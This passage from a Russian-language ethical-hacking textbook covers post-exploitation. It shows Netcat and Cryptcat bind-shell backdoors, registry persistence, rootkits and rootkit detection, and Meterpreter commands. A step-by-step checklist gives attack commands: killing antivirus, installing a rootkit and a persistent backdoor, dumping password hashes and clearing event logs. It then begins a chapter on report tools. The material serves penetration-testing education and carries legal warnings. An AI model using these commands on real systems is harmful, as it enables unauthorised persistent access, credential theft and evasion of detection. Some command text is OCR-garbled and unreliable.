своей цели в любое время. Сейчас среди хакеров в «черных шляпах» очень популярно встраивать в системы постоянно используемые бэкдоры, позволяющие в любой момент восстановить доступ к сети жертвы. Раньше злоумышленники довольствовались взломом сервера, кражей данных и повторным исчезновением. Сейчас многие обеспечивают постоянный или долгосрочный доступ к системам и сетям. Если сейчас вы также моделируете действия целеустремленного и опытного злоумышленника, важно хорошо контролировать этот этап. Бэкдор — это обычно часть ПО на целевой системе, которая позволяет злоумышленнику получить доступ к системе в любое время. Часто это хорошо замаскированный процесс на целевом компьютере, который позволяет неавторизованному пользователю управлять компьютером. Эксплойты используются только для получения временного доступа, который длится только до тех пор, пока эксплуатируемая программа/система работает. Если целевая система перезагружается или используемый процесс завершается, вы теряете 301
Глава 14 Пост-обработка и сохранение доступа оболочку для удаленного доступа. Поэтому, как только вы получили доступ к системе, необходимо установить постоянный доступ. Это можно сделать с помощью бэкдоров. Позже в этой главе вы узнаете о руткитах. Это особый тип ПО, который глубоко внедряется в ОС и выполняет ряд задач — например, запускать скрытые процессы и программы. Кроме того, мы рассмотрим одну из самых универсальных полезных нагрузок, предоставляемых Metasploit, — оболочку Meterpreter, мощный инструмент для задач после успешного вторжения. 14.1 Netcat — швейцарский армейский нож Netcat — невероятно простой и гибкий инструмент, который идеально подходит для создания бэкдора. С его помощью можно передавать файлы с одного компьютера на другой, а также выполнять сканирование портов. Это также удобное средство коммуникации с функциями мгновенного обмена сообщениями и чата; он даже может использоваться в качестве простого веб-сервера. В этом разделе мы снова рассмотрим только основы, поэтому уделите достаточно времени практике с этим инструментом. Вы будете удивлены, на что он способен. Не зря его называют «швейцарским армейским ножом». Netcat выпущен в 1996 г. и позволяет отправлять и получать трафик данных через TCP и UDP. Программу можно использовать как клиент или как сервер. В режиме клиента Netcat может установить сетевое соединение с другой службой, в том числе с экземпляром Netcat, а также с любым портом атакующего компьютера на любой порт целевого компьютера. В режиме сервера он работает как слушатель/Listener и ожидает входящих соединений. Примечание Чтобы понять примеры, Netcat должен быть установлен как минимум на двух машинах: один — на атакуемом компьютере, другой — на целевом. Netcat предустановлен во многих хакерских операционных системах, таких как Kali Linux и Metasploit. Вы также можете установить его на целевой компьютер Windows. Для начала давайте рассмотрим очень простой пример и установим канал связи между двумя компьютерами с помощью Netcat. Для начала мы настроим Netcat на целевом компьютере. Вам нужно выбрать порт и указать Netcat в режиме слушателя. Если целевой компьютер под управлением Linux, это можно сделать с помощью следующей команды: nc -l -p 10815 302
14.1 Netcat — швейцарский армейский нож Используйте nc для вызова Netcat. Параметр -l указывает на переход в режим слушателя, а -p — на порт, который Netcat должен прослушивать. Эта команда заставляет Netcat запускаться и ждать входящих соединений на порту 10815. Windows как целевая система Вы также можете использовать компьютер Windows 76 в качестве целевой системы. Для этого вам необходимо скачать и установить актуальную версию Nmap для Windows. Убедитесь, что >>Register Nmap Path<< также активирован при выборе компонентов. Netcat можно вызвать с помощью ncat вместо nc. Команда будет выглядеть так: ncat — 1 — p 10815 Как только Netcat будет запущен на целевом компьютере, вы можете переключиться на атакующий. Там вы также должны установить соединение с ожидающим компьютером и ввести следующую команду: nc 192.168.1.9 10815 Она заставляет Netcat установить соединение с компьютером с IP-адресом 192.168.1.9 на порту 10815. На первом этапе вы настроили компьютер с IP-адресом так, чтобы он ожидал входящих соединений на этом порту. После выполнения обеих команд оба компьютера могут взаимодействовать друг с другом. Вы можете проверить это, введя текст в окно терминала на одном из них. После этого текст появится в окнах терминала обоих компьютеров. На рис. 14.1 показан пример связи. Hello, this is the attack computer Here is the target computer Hello, this is the attack computer Here is the target computer Рис. 14.1. Связь между двумя компьютерами с помощью Netcat: целевой компьютер слева, атакующий — справа Чтобы завершить чат и закрыть сессию, нажмите Ctrl + C. После разрыва соединения Netcat необходимо перезапустить приемник на целевом компьютере, прежде чем можно будет установить новое соединение. Возвращение на целевой компьютер для перезапуска Netcat не всегда возможно и к тому же 76 https://nmap.org/ 303
Глава 14 Пост-обработка и сохранение доступа довольно громоздко. В Windows вы можете перезапустить Netcat с помощью команды -L вместо -l, чтобы запустить Netcat в режиме слушателя. Он будет продолжать прослушивать входящие соединения на указанном порту, даже если соединение будет отменено клиентом. Это позволяет установить соединение до тех пор, пока система не будет выключена или перезапущена. Если вы хотите сделать возможность установления соединения постоянной, вы можете добавить ключ реестра для Netcat в реестр Windows в разделе HEKY_ LOCAL_MACHINE\software\micro- soft\windows\currentversion\run. В Linux установить постоянное сетевое соединение не так просто. Вам нужно создать bash-скрипт, который перезапускает Netcat, когда исходное соединение закрыто. В интернете можно найти множество примеров таких сценариев. После того как вам удалось загрузить Netcat на целевую систему, он становится доступен для многих практических применений. Одной из таких возможностей, которая наверняка окажется для вас полезной, — передача файлов. После запуска оболочки Meterpreter можно легко перемещать файлы с одного компьютера на другой, но вы, конечно, не захотите каждый раз заново вторгаться в чужую систему. Нужно атаковать ее один раз, а затем открыть черный ход, через который можно будет вернуться. Загрузив Netcat на целевую систему, вы можете использовать программу для передачи файлов на этот компьютер и обратно по сети. File Edit View    Favorites Help Рис. 14.2. Запись реестра для Netcat Поэтому, если вы хотите загрузить файл с атакуемого компьютера на целевой, введите следующую команду: nc -l -p 6666 > payload.exe Эта команда заставляет цель ожидать входящего соединения на порту GGGG. Входящие данные хранятся в файле payload.exe. Теперь на атакуемом компьютере с помощью Netcat устанавливаем соединение с целью и указываем файл, который нужно передать. Файл может иметь 304
14.1 Netcat — швейцарский армейский нож любое расширение (.exe, .docx, .bat, .iso и т. д.). В этом примере файл загружен как payload.exe. Маловероятно, что у вас есть файл с таким именем, но вы также можете использовать любой другой, просто вставив имя файла в команду. Через Netcat вы не получите никакой обратной связи, которая позволила бы вам понять, что передача данных закончилась. Поэтому всегда стоит подождать несколько секунд, прежде чем прерывать соединение с помощью Ctrl + C. Если вы введете команду ls в Linux, вы увидите отображение файла. Также можно использовать соединение для загрузки файлов с целевой системы. Для этого необходимо выполнить обратные команды. Во время тестирования на проникновение часто обнаруживаются открытые порты, о которых мало информации или вообще ничего. Может случиться так, что ни Nmap, ни OpenVAS не смогут распознать службу, работающую за портом. В этом случае полезно использовать Netcat для слепого подключения к порту. Если соединение было успешным, вы можете отправить информацию на порт, набрав что нибудь на клавиатуре. Иногда можно получить ответ от службы, чтобы распознать службу, работающую за портом. ‑ Предположим, вы проводите тест на проникновение, и целевой сервер имеет IP-адрес 192.168.1.15. В ходе сканирования вы обнаружили, что порт 5004 открыт, но проверка портов и уязвимостей не дает вам никакой информации о том, какой именно сервис это обслуживает. Теперь вы можете использовать Netcat, чтобы начать взаимодействие с неизвестной службой. Для этого необходимо ввести следующую команду: nc 192.168.1.15 5004 Эта команда пытается установить TCP-соединение с портом и службой. Важно Вы можете использовать Netcat для установки UDP-соединения, указав в качестве опции -u. После установления соединения в большинстве случаев проще всего ввести любой текст и нажать Enter, чтобы отправить текст в службу. Если служба отвечает на непредвиденный запрос, ответ может быть использован для вывода ее функции. В этом примере вы подключились к порту 5004 с помощью Netcat. Если вы затем отправите «тест» по соединению и получите ответ от «таинственного» сервиса, вы уже выиграли и вам просто нужно изучить результат. На рис. 14.3 показано подключение к веб-серверу на порту 80 и попытка связаться с сервисом. Если вы отправите в сервис любой текст, вы получите информацию о том, что это веб-сервер. 305
Глава 14 Пост-обработка и сохранение доступа Вы также можете связать Netcat с процессом и предоставить его через сетевое соединение. Таким образом, вы можете запустить и использовать связанную программу, как будто вы непосредственно на целевом компьютере. Вам нужно запустить Netcat с параметром -e, чтобы программа, указанная после этого параметра, выполнялась непосредственно на компьютере сразу после установления соединения. С помощью параметра -е также легко создать бэкдор-оболочку на целевом компьютере. ­ Рис. 14.3. Пример создания соединения на порту 80 и взаимодействия с сервисом Пример привязки программы к целевому компьютеру — привязка командной оболочки к номеру порта. Для того чтобы командная оболочка была привязана к порту 10815 и программа выполнялась автоматически при установлении соединения, на целевом компьютере необходимо ввести следующую команду: nc -l -p 10815 -e /bin/sh Теперь целевой компьютер предоставляет оболочку любому, кто установит соединение через порт 10815. Таким образом, все команды, отправленные с атакуемого компьютера на целевой, будут выполняться так, как если бы злоумышленник имел локальный доступ к целевому компьютеру. Предупреждение В системах Windows можно настроить бэкдор для доступа к командной строке. Для этого вы можете использовать командную строку. Команда для этого: ncat -L -p 10815 c:/windows/System3 2/cmd.exe Давайте теперь рассмотрим использование Netcat для создания бэкдоров на конкретном примере. Вам удалось успешно взломать компьютер под управлением Windows, и теперь вы хотите заблаговременно установить бэк- 306
14.2 Cryptcat — криптографический кузен Netcat дор в систему, чтобы в любое время вернуться к ней. Для этого вы выбрали Netcat. Первый шаг — загрузить Ncat в каталог System32 целевого компьютера. В главе 11 вы уже видели, как можно отправлять полезные нагрузки в целевую систему, и теперь мы применяем эти знания на практике. Для взаимодействия с мишенью мы используем оболочку Meterpreter. Чтобы перенести файл netcat, выполните следующую команду: Meterpreter > upload ncat.exe c:\\windows\\system32 Используйте команду для загрузки ncat.exe в указанную директорию. Теперь можно получить прямой доступ к командной строке (cmd.exe). После того как Netcat будет перенесен на целевой компьютер, необходимо выбрать номер порта, к которому будет привязана командная строка, и запустить Netcat в режиме сервера. Теперь он будет ожидать входящего соединения на указанном порте. Вы можете выполнить задание, введя следующую команду в окне терминала: meterpreter > ncat -L -p 10815 -e cmd.exe После выполнения команды Netcat должен запуститься на целевом компьютере. Если вы хотите установить постоянный backdoor в системе, который останется там даже после перезагрузки, вы должны настроить команду Netcat для автоматического запуска в реестре Windows. После настройки Netcat вы можете закрыть оболочку Meterpreter и подключиться к целевому устройству с помощью Netcat. Чтобы не выходить за рамки книги, мы лишь вкратце рассмотрели этот раздел. Netcat — действительно мощный и универсальный инструмент. Стоит потратить время и углубиться в него. Некоторые люди делали с его помощью удивительные вещи. Если вы поищете их в интернете, вы будете поражены. 14.2 Cryptcat — криптографический кузен Netcat Хотя Netcat обладает удивительными качествами, нельзя скрывать, что у него есть и недостатки. «Черные шляпы» могут не обращать на это внимания, но этичным хакерам будет немного не по себе: весь трафик между клиентом и сервером Netcat передается открытым текстом. Поэтому любой, кто следит за трафиком или подглядывает за соединением, может увидеть всю информацию, которой обмениваются два компьютера. Для решения этой проблемы был создан Cryptcat: он шифрует весь трафик данных между клиентом и сервером, сохраняя его конфиденциальность. 307
Глава 14 Пост-обработка и сохранение доступа Вы, вероятно, спросите, зачем мы рассматривали Netcat ранее, если у него есть недостатки. Дело в том, что вам не нужно изучать новые команды для Cryptcat. Если вы знакомы с Netcat, вы также знакомы с Cryptcat и имеете дополнительное преимущество передачи данных через зашифрованный туннель. Никто из тех, кто наблюдает и анализирует трафик, не сможет извлечь информацию из сообщений, обменивающихся между клиентом и слушателем. Важно Всегда меняйте ключ Cryptcat по умолчанию! Если вы этого не сделаете, любой может расшифровать ваш сеанс. Ключ по умолчанию — metallica. Вы можете изменить его с помощью опции -k. Чтобы настроить зашифрованный туннель между двумя компьютерами, введите следующие команды: 1. запуск серверов 2. cryptcat -l -p 10815 запуск клиента cryptcat 192.168.1.9 Теперь вы установили зашифрованное соединение между двумя компьютерами. 14.3 Руткиты Когда впервые сталкиваешься с руткитами, поражаешься их работоспособности и утонченности. Некоторым это кажется почти волшебным. Они обычно просты в установке и всегда дают потрясающие результаты. Руткиты позволяют хорошо скрывать файлы, процессы и программы от пользователей и даже ОС, будто вы никогда не были за компьютером. Это означает, что они даже не могут быть обнаружены решениями безопасности нового поколения. Название происходит от «kit» («комплект»), которым предоставлен административный доступ. Внимание Как и во всех областях тестирования на проникновение, вам необходимо убедиться, что заказчик разрешил использование руткитов, прежде чем запускать их. Если операция не будет одобрена, это станет концом вашей карьеры и может привести к тюремному заключению. Даже если у вас есть полное разрешение на проведение теста на проникновение, убедитесь, что он включает использование руткитов. 308
14.3 Руткиты Руткиты позволяют действовать крайне скрытно и могут использоваться для самых разных целей. ◾ Повышение прав. ◾ Запись нажатий клавиш. ◾ Установка бэкдоров и т. д. Поскольку руткиты работают в ядре — гораздо более глубоком уровне, чем ОС, — они могут избежать обнаружения. ПО, с которым работает пользователь, функционирует на более высоком уровне системы. Как и антивирусные программы, оно должно передавать запросы на более низкий уровень ОС, когда выполняет задачу. Поскольку руткиты обычно встроены в глубину ОС, вы можете подключиться между ПО и ОС, перехватить эти требования и изменить обычные ответы. Например, если вы хотите узнать, какие процессы запущены в вашей системе, вы обычно вызываете Диспетчер задач (с Ctrl + Alt + Del или напрямую с помощью Ctrl +Shift (ESC)). Как правило, вы запускаете эту задачу, не задумываясь, просто просматриваете список процессов и продолжаете работу. Чтобы помочь вам понять основы, я упрощу следующую иллюстрацию. В этом примере программа спрашивает ОС, какие процессы и службы запущены в данный момент. Система, в свою очередь, запрашивает все известные ей запущенные программы и возвращает список. Если речь идет о рутките, все становится немного сложнее. Ответ, возвращаемый ОС, может быть перехвачен и обработан руткитом. Это позволяет ему удалять выбранные программы, службы и процессы из списка. Поскольку это происходит мгновенно, пользователь даже не заметит изменений. Сама программа функционирует корректно, но получает от ОС неверную информацию, которую и передает дальше. Руткит — это не эксплойт. Руткиты загружаются в систему только после того, как она уже взломана. Обычно их задача — скрыть файлы и программы и таким образом сохранить тайный доступ через черный ход. 14.3.1 Распознавание руткитов и защита от них На этом этапе я хотел бы сделать небольшое отступление о стратегиях защиты от руткитов. Хотя здесь мы рассматриваем только основы, защита от многих описанных до сих пор методов довольно проста: ◾ Будьте осторожны с информацией, которую вы размещаете в интернете. ◾ Тщательно настройте брандмауэр, веб- и спам-фильтры. ◾ Убедитесь, что все системы (клиентский ПК, сервер, принтер, сетевые устройства и т. д.) всегда обновлены. Своевременно устанавливайте обновления. ◾ Установите и используйте современное ПО для защиты конечных точек. ◾ Используйте систему обнаружения вторжений. 309
Глава 14 Пост-обработка и сохранение доступа Список обеспечивает хорошую основу для защиты вашей IT-инфраструктуры, но он не полный и не обеспечивает 100% защиту, даже если вы соблюдаете все пункты. Руткиты по-прежнему представляют опасность. Требуются дополнительные действия для их обнаружения и предотвращения. Руткиты можно настраивать и устанавливать только с правами администратора. Одна из первых мер — ограничение прав пользователей тем, что необходимо (принцип наименьших прав). Это значит, что каждый пользователь имеет только те права, которые ему необходимы для выполнения задач. Никогда не используйте учетную запись Administrator для повседневной работы. Вы удивитесь, как часто все пользователи являются членами группы администраторов, потому что для запуска определенных программ требуются права администратора. Это оправдание уже не актуально: современные ОС позволяют временно увеличить права с помощью команд su или «выполнить как». Многие руткиты работают на уровне ядра и иногда не распознаются решениями по защите конечных точек. Но для вашей информационной безопасности крайне важно установить, использовать и поддерживать такое решение в актуальном состоянии. Некоторые руткиты, особенно старые и менее сложные, можно идентифицировать и удалить с помощью современных решений безопасности. Мониторинг входящего и исходящего трафика в вашей сети — еще одна важная мера. Входящий сетевой трафик часто отслеживается и блокируется. Администраторы тратят дни и недели на корректировку и настройку правил, но исходящий трафик часто игнорируют. Если вы хотите обнаружить вредоносное ПО и руткиты, вам не обойтись и без мониторинга исходящего трафика. Стоит потратить время, чтобы узнать больше о фильтрации исходящих соединений. Регулярное сканирование портов вашей системы — тоже хорошая стратегия для обнаружения руткитов и бэкдоров. Здесь нужно обратить внимание на все открытые порты. Если в системе открыт неизвестный порт, присмотритесь к этому компьютеру и выясните, какая служба работает на этом порте. Есть несколько отличных бесплатных инструментов, которые помогут вам найти скрытые файлы и руткиты. Например: ◾ Rootkit Revealer. Этот инструмент от Sysinternals — продвинутая программа обнаружения руткитов. Она считывает содержимое реестра и жестких дисков. На выходе получаем список отклонений от API реестра и файловой системы, которые могут указывать на наличие руткита. Инструмент успешно обнаруживает многие постоянные руткиты, включая AFX, Vanquisch и HackerDefender. ◾ F-Secure BlackLight. сканирует компьютер, включая реестр, на наличие подозрительных файлов одним щелчком мыши и отображает их в виде списка после завершения сканирования. 310
14.4 Meterpreter — молоток, который сделает гвоздь из чего угодно После того как руткит был установлен на компьютере, его трудно удалить. Во многих случаях вам потребуется запустить зараженный компьютер с другой ОС или подключить исходный жесткий диск к другой системе, чтобы более тщательно изучить его. Это гарантирует, что исходная ОС не работает и используемый вами сканер не применяет вызовы API из зараженной системы. Вероятность найти и удалить руткит выше. Но во многих случаях все же лучше удалить всю зараженную систему, переформатировать жесткий диск (диски) и, наконец, перезагрузить компьютер. 14.4 Meterpreter — молоток, который сделает гвоздь из чего угодно Одна из самых важных, если не самая важная, полезная нагрузка Metasploit — это Meterpreter. Если у вас мало времени или вы хотите выучить только одну полезную нагрузку, это она. Вы уже несколько раз использовали ее в последних главах. Меня до сих пор впечатляет производительность и гибкость оболочки Meterpreter. Она позволяет вам взламывать программы «как в кино». Meterpreter содержит целую серию встроенных команд, которые позволяют вам как хакеру быстро и легко переходить от этапа проникновения к этапу постобработки. Если вы хотите использовать оболочку Meterpreter, вы можете выбрать ее в качестве полезной нагрузки в Metasploit. Я описывал этот процесс в главе 11. После того как вы успешно проникли в цель и настроили доступ с помощью оболочки Meterpreter, вы можете быстро и легко начать постобработку. Если бы мы рассмотрели все задачи, которые можно решить с помощью Meterpreter, это вышло бы за рамки книги. Просмотр списка команд в таблице 14.1 поможет вам лучше понять возможности этого инструмента. Вы можете запустить команду на целевом компьютере, введя в командной строке meterpreter >. Команда Описание cat filename Отображает содержимое указанного файла cd, rm, mkdir, rmdir Соответствует одноименным командам Linux для использования папок clearev Загружает указанный файл с целевого компьютера на атакуемый компьютер download sourcefile Скачать исходный файл targetfile Целевой файл edit Открывает редактор VIM, чтобы вы могли вносить изменения в файлы execute -f dateiname Выполняет указанный файл на целевом компьютере 311
Глава 14 Пост-обработка и сохранение доступа Окончание таблицы Команда Описание getsystem Указывает Meterpreter — расширить права до максимально возможного уровня hashdump Находит имена пользователей и их хеш-значения на целевом компьютере и отображает их. Вы можете скопировать хеш-значения в текстовый файл и импортировать, например, в JtR для взлома idletime Показывает, как долго компьютер был неактивен или простаивал keyscan_dump Отображает записанные в данный момент нажатия клавиш на целевом компьютере. Необходимо только предварительно выполнить keyscan_start keyscan_start Запускает регистрацию нажатий клавиш на целевом компьютере. Чтобы иметь возможность записывать нажатия клавиш, необходимо перенести оболочку в процесс explorer.exe keyscan_stop Останавливает запись нажатия клавиши kill pid Завершает указанный процесс. Узнать PID (идентификатор процессора) можно с помощью команды ps migrate Перемещает оболочку Meterpreter в другой запущенный процесс. Это очень важный процесс, который вы должны понимать в деталях ps Выводит список всех процессов, запущенных в данный момент на целевом компьютере reboot/shutdown Перезагружает или выключает целевой компьютер screenshot Создает скриншот экрана целевого компьютера search -f filename Ищет на целевом компьютере указанный файл sysinfo Предоставляет системную информацию о целевом компьютере: имя компьютера, ОС, установленные пакеты обновлений и т. д. upload sourcefile zieldatei Загружает указанный файл с атакующего компьютера на целевой компьютер Таблица 14.1. Наиболее важные команды Meterpreter 312
14.4 Meterpreter — молоток, который сделает гвоздь из чего угодно Как видите, оболочка Meterpreter упрощает многие сложные задачи, позволяя выполнять множество операций постобработки: ◾ перемещение оболочки в более стабильный процесс; ◾ выход из антивирусных программ; ◾ загрузка, скачивание, выполнение, редактирование, копирование и удаление файлов; ◾ расширение прав; ◾ отображение хеш; ◾ запись нажатий клавиш; ◾ скриншоты и т. д. Однако есть много других возможностей: захват веб-камеры, редактирование реестра, изменение таблиц маршрутизации — и это лишь несколько примеров. Учитывая широкий выбор, который предоставляет вам оболочка Meterpreter как начинающему этичному хакеру, вы, вероятно, чувствуете себя немного ошеломленным. Поэтому здесь вы найдете упрощенный метод для последующей обработки с помощью Meterpreter. Это лишь один из множества способов использовать этот полезный инструмент. 1. 2. Проникните на цель и поместите туда полезную нагрузку Meterpreter. Отключите антивирусное ПО или защиту конечной точки с помощью команды kill. 3. С помощью команды migrate переместите Meterpreter в один из обычных процессов, который всегда запущен и хорошо вам понятен. Идеально подходит процесс хост-службы (svchost.exe). 4. С помощью команды shell откройте командную строку на целевом компьютере. С помощью команды netsh advfirewall firewall измените настройки брандмауэра Windows (чтобы разрешить соединение или передачу данных через порт). 5. Теперь, когда вы отключили решение безопасности и настроили правила брандмауэра, вы можете использовать upload для загрузки коллекции инструментов, состоящей из руткита и различных других программ, описанных в этой книге (Nmap, Metasploit, John the Ripper, Net- cat и т. д.). 6. Установите руткит с помощью команды execute -f. 7. Если выбранный руткит не содержит бэкдора, используйте команду execute -f для установки Netcat в качестве постоянного бэкдора. 8. Используйте reg, чтобы изменить реестр так, чтобы Netcat также пережил перезагрузку. 9. Получите хеши паролей с помощью hashdump и взломайте их в Jt R. 10. Настройте .ini файл руткита с помощью edit, чтобы скрыть загруженные файлы и бэкдор, а также вновь открытые порты. 11. Протестируйте бэкдор, установив новое соединение с атакуемого компьютера на целевой. 313
Глава 14 Пост-обработка и сохранение доступа 12. Затем удалите журнал событий с помощью программы cleardev. 13. Теперь вы можете сосредоточиться на следующей цели (Pivoting). Учитывая его мощность и гибкость, возможности постобработки практически не ограничены. Вам следует уделить как можно больше времени знакомству с Meterpreter, чтобы в полной мере овладеть этим инструментом. 14.5 Как вы можете отработать этот шаг? Как и в случае с описанными до сих пор шагами, требуется практика и еще раз практика, чтобы овладеть тактиками и методами постобработки. При работе с инструментами типа Netcat поначалу это может быть очень запутанно, особенно если вы используете опцию -e для функции бэкдора. Хорошая идея — настроить два компьютера, а затем установить соединение Netcat между ними. Чем чаще вы будете использовать Netcat, тем лучше познакомитесь с принципом работы. Здесь вы должны попрактиковаться в отправке и получении файлов на обоих компьютерах. Очень важно понимать, как использовать Netcat в обоих направлениях для загрузки и выгрузки файлов. После того как вы освоите основы (отправку и получение файлов), вы можете сосредоточиться на использовании Netcat в качестве бэкдора, выбрав опцию -e. Попрактикуйтесь в настройке инструмента в режиме слушателя на целевом компьютере и установите с него соединение с атакуемым компьютером. Потренируйтесь создавать бэкдор и устанавливать соединение не только в Linux, но и в Windows. Важно, чтобы вы понимали различия между этими двумя системами. Конечно, вы можете использовать Windows-версию Netcat для доступа к Linux-версии и наоборот, но есть несколько небольших различий в опциях и функциональности обеих версий. ­ Как только вы освоите основы Netcat, вы можете перейти к более сложным функциям: использование Netcat в качестве прокси, сканирования портов, создания обратных оболочек и создания и копирования образов разделов, а также объединения нескольких экземпляров Netcat для перенаправления трафика между компьютерами. Также внимательно изучите страницы справки (man-pages) Netcat и ознакомьтесь со всеми опциями. Это вдохновит вас на креативное использование этого инструмента. Практика борьбы с руткитами — палка о двух концах. Всегда стоит изучить руткиты и то, как они используются. Но, как и в случае со всеми вредоносными программами, здесь присутствует некоторый риск. После развертывания или исследования вредоносного ПО всегда есть вероятность того, что оно выйдет за пределы «предназначенной/ среды» или заразит хост-систему. Про- 314
14.6 Каковы дальнейшие действия? являйте особую осторожность при установке любого типа вредоносного ПО. В этой книге я намеренно избегаю подробного анализа вредоносных программ и руткитов. Если вы хотите заняться этими темами, то делайте это только в изолированной среде (Sandbox): использование виртуальных машин обязательно. Важно отключить все соединения с внешним миром, чтобы ничто не могло покинуть тестовую среду. С юридической точки зрения вы всегда несете ответственность за любой трафик данных, который случайно выходит за пределы вашей сети и который отправляется намеренно. В этой книге мы рассматриваем основы тестирования на проникновение, поэтому руткиты и бэкдоры редко играют роль. Важно, чтобы вы сконцентрировались на освоении других этапов, прежде чем приступать к более пристальному изучению подобных вредоносных программ. 14.6 Каковы дальнейшие действия? В этой главе вы прочитали об основах бэкдоров и руткитов. Вам следует поближе познакомиться с этим, расширить свой кругозор и ознакомиться с аналогичными инструментами, такими как Ncat и Socat. Ncat — это современная версия оригинального Netcat, входящая в проект Nmap. Здесь вы найдете множество функций оригинального инструмента, а также поддержку SSL и IPvG. Socat — еще один «родственник» Netcat, который отлично читает и записывает сетевой трафик. Этот инструмент также расширяет спектр функций Netcat, включая поддержку IPvG и SSL. Чтобы узнать больше о бэкдорах, взгляните на некоторые классические примеры — Netbus, SubSeven (Sub7) или Back Orifice. Netbus — это обычное ПО для команд и управления. Аналогичный инструмент — Back Orifice, позволяющий выполнять команды на компьютере и управлять им дистанционно. Программа была представлена еще в 1998 году сэром Дистиком. Оригинальную презентацию «Cult of the Dead Cow: The announcement of Back Orifice, DirectXploit and the modular ButtPlugins for BO» можно найти в медиаархивах DEFCON 6. Почти так же стар Sub7, который был опубликован Moman в 1999 м. Он предлагает функции, аналогичные Back Orifice и Netbus, с архитектурой клиент/сервер. Как и инструменты, представленные в этой главе, Sub7 может удаленно управлять сервером с помощью клиента. Чтобы расширить свои знания о руткитах, необходимо ознакомиться с внутренним устройством современных ОС. Рассмотрение сложных деталей ядра поначалу может оттолкнуть, но это определенно стоит потраченного времени. Одна из книг, на которую вы должны обратить внимание в этом контексте, — «Современные операционные системы» Эндрю С. Таненбаума. ‑ 315
Глава 14 Пост-обработка и сохранение доступа В этой главе мы получили общее представление о том, как работают руткиты. Опытные пользователи должны иметь дело с перехватом системных и функциональных вызовов, а также с различиями между пользовательским режимом и режимом ядра. Тут то и пригодятся солидные знания системного программирования и языков программирования. ‑ 14.7 Резюме Эта глава была посвящена действиям после фактического вторжения в систему: настройке и использованию бэкдоров, руткитов и оболочки Meterpreter. Вы можете использовать руткиты и бэкдоры только в том случае, если вы получили на это явное разрешение. На первом этапе вы рассмотрели мощь и универсальность Netcat и его различных применений. Cryptcat — это современная версия Netcat, которая также позволяет шифровать трафик между двумя компьютерами. После этого мы продолжили краткий обзор руткитов, их базовой структуры и использования. В конце мы рассмотрели некоторые базовые команды доработки, которые можно применять в оболочке Meterpreter.
Глава 15 Завершение теста на проникновение Многие считают, что тест на проникновение заканчивается выполнением описанных до настоящего времени этапов, и можно сразу позвонить клиенту, чтобы отправить результаты или выслать счет за работу напрямую. Но, к сожалению, ваша задача еще не полностью выполнена. Вам предстоит обобщить результаты вашего теста на проникновение в виде отчета. Даже одаренные хакеры и тестировщики на проникновение предпочли бы проигнорировать эту последнюю задачу. Они могут взломать практически любую сеть, но часто не имеют возможности сообщить об уязвимостях, вариантах атаки и средствах защиты клиенту. Создание отчета о результатах теста на проникновение — это важнейшая задача, которую вы выполните как этичный хакер. Чем лучше вы выполните свою работу во время теста, тем меньше вероятность того, что ваш клиент узнает о его проведении. Заключительный отчет нередко служит единственным доказательством для заказчика. А еще отчет о тесте на проникновение может быть визитной карточкой вашей компании и источником вашей репутации. Тест на проникновение замечается только целевыми компаниями до подписания контракта с указанием полномочий и объема. Тесты обычно проводятся в относительно изолированной среде, поэтому крайне важно, чтобы вы как тестировщик представили свои результаты в аккуратно структурированной и понятной форме. Всегда помните, что целевая организация, то есть ваш клиент, часто понятия не имеет, что вы на самом деле сделали и сколько часов на это потратили. Таким образом, отчет — самое важное доказательство вашей компетентности. Вы обязаны представить свои результаты клиенту, подчеркнуть свои навыки и показать, насколько разумно вы использовали время и его деньги. 15.1 Инструменты для отчета ОС, такая как Kali Linux, также помогает тестировщику в создании отчета. В этой главе вы узнаете о некоторых полезных инструментах. 317
Глава 15 Завершение теста на проникновение 15.1.1 Cutycapt Cutycapt — это кроссплатформенная программа командной строки для записи рендеринга Webkit 77 веб-страницы и сохранения этого рендеринга в виде файла SVG, PDF, PNG, JPEG, TIFF, GIF или BMP. С помощью этой программы вы можете сделать снимок экрана страницы и сохранить его как один из типов файлов, перечисленных выше. По сути, это простой инструмент, но у вас есть несколько опций, которые вы можете настроить при его использовании. Зачем рендерить страницу? Бывают случаи, когда вы хотите посмотреть, как выглядит страница, не дожидаясь ее загрузки в браузере. С помощью Cutycapt у вас есть возможность сделать это из командной строки, и вы можете довольно хорошо отобразить страницу. Если вы вызовете cutycapt -h, вы получите все возможные опции, которые вы можете передать в качестве параметров. Их можно разделить на две категории: ◾ одна влияет на основные функции программы; ◾ другая — на то, как возвращается и отображается страница. Чтобы понять, что делает большинство опций, нужно иметь базовое представление о том, как работают HTTP-запросы и как каждая часть кода влияет на отображение, то есть как JavaScript влияет на страницу и т. д. 77 318 Webkit — это движок рендеринга браузера. Когда вы вызываете страницу в браузере, он берет все элементы (HTML, CSS, JavaScript и т. д.), которые загружены вместе со страницей, и отображает их на вашем экране.
15.1 Инструменты для отчета Рис. 15.1. Обзор опций Cutycapt Команда для создания страницы выглядит следующим образом: cutycapt —url=Target-URL —out=Filename ­ Поэтому, если вы хотите отобразить страницу, вызовите эту команду в терминале: cutycapt —url=https://www.icte.biz —out=icte.jpg После рендеринга страницы вы можете просмотреть результат в папке 78, в которой вы сохранили результат. Большинство веб-сайтов предлагают пользователям разные версии страниц. Страница, которая отображается на компьютере, выглядит несколько иначе, чем на мобильном устройстве. С помощью Cutycapt вы можете отобразить 78 Если путь не указан, то при вызове команды файл будет найден в папке, в которой вы находитесь в данный момент. 319
Глава 15 Завершение теста на проникновение страницу так, как если бы она отображалась на выбранном вами устройстве. Для этого нужно изменить пользовательский агент, который выглядит, например, так: cutycapt —url=www.icte.biz —out=icte_userAgent.jpg — useragent=” Mozilla/5.0 (Linux; Android 9.0.0; Samsung-SM-G900A Build/ KOT49H) AppleWebkit/537.36 (KHTML, like Gecko) Chorme/ 45.0.2454.95 Mobile Safari/537.36» ­ Эта опция позволяет увидеть одну и ту же страницу с разных сторон. В ходе такой оценки вы можете обнаружить пробел в мобильной версии веб-сайта, которого нет у обычного сайта. В таком случае всегда полезно проверить, существуют ли разные страницы. Однако необязательно всегда использовать Cutycapt: эта опция также доступна в большинстве браузеров. Еще одно распространенное применение Cutycapt — проверка того, как выглядит страница при отключенном JavaScript. Для этого используется параметр: —javascript=off cutycapt —url=www.icte.biz —out=icte_userAgent.jpg — javascript=off У вас есть много других возможностей с Cutycapt, таких как изменение используемого HTTP-метода, изменение заголовочного файла или отключение плагинов для страницы. Как и со всеми другими инструментами, вам следует «поиграть» с ним и попробовать, как отображается страница, когда вы переопределяете некоторые из встроенных функций. 15.1.2 Идентификатор Фарадея Faraday был разработан для распространения, индексирования и анализа данных, полученных в ходе оценки безопасности. Это IPE — 